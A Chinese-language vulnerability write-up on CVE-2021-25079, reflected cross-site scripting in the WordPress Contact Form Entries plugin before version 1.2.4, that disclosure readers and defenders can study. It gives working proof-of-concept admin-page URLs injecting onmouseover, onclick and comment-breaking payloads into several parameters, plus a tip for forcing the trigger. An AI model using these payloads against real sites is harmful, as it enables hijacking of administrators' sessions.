版本： < 1.2.4
CVE : CVE-2021-25079
参考：
https://wpscan.com/vulnerability/c3d49271-9656-4428-8357-0d1d77b7fc63
https://secsi.io/blog/cve-2021-25079-multiple-reflected-xss-in-contact-form-entries-plugin/
vxcf_leads 管理员页面的几个参数容易受到反射跨站点脚本漏洞的攻击。
代码语言：javascript复制GET /wp-admin/ admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=desc&orderby=fir GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=desc&orderby=fir 返回数据库中已保存条目的列表。 form_id 值反映在 < form_id 参数未经过过滤，因此可以注入任意值。
代码语言：javascript复制http://example.com/wp-admin /admin.php?page=vxcf_leads&form_id=cf_5e1kpc" onmouseover=alert(1) ne97l&status&tab=entries&search&order=desc&orderby=fir 允许在输入表单中注入 onmouseover
代码语言：javascript复制<input class="hide-column-tog" name="cf_5e1kpc" onmouseover=alert(1) ne97l-vxvx-vxurl-hide" type="checkbox" id="cf_5e1kpc" onmouseover=alert(1) ne97l-vxvx-vxurl-hide" value="cf_5e1kpc" onmouseover=alert(1) ne97l-vxvx-vxurl" checked='checked' />Source</label><label>通过在 click 元素内移动鼠标，漏洞被触发。即使该漏洞似乎需要用户在输入元素上移动鼠标，也可以通过注入一个“样式”部分来改进攻击，该部分可以扩展具有大宽度和高度的输入元素。这样，当用户点击链接时，就会执行javascript代码。 status 参数容易受到最危险的 XSS 攻击：只需发送以下请求
代码语言：javascript复制http://example.com/wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status=b9zrb-->g482f&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date 将执行 XSS 漏洞. order、orderby 和 search 参数也容易受到 XSS 攻击：
代码语言：javascript复制http://example.com/wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=desc&orderby=fir ihj17"accesskey="x"onclick="alert(1)"//v9tdt 解决方法： 将联系表条目升级到版本 1.2.4
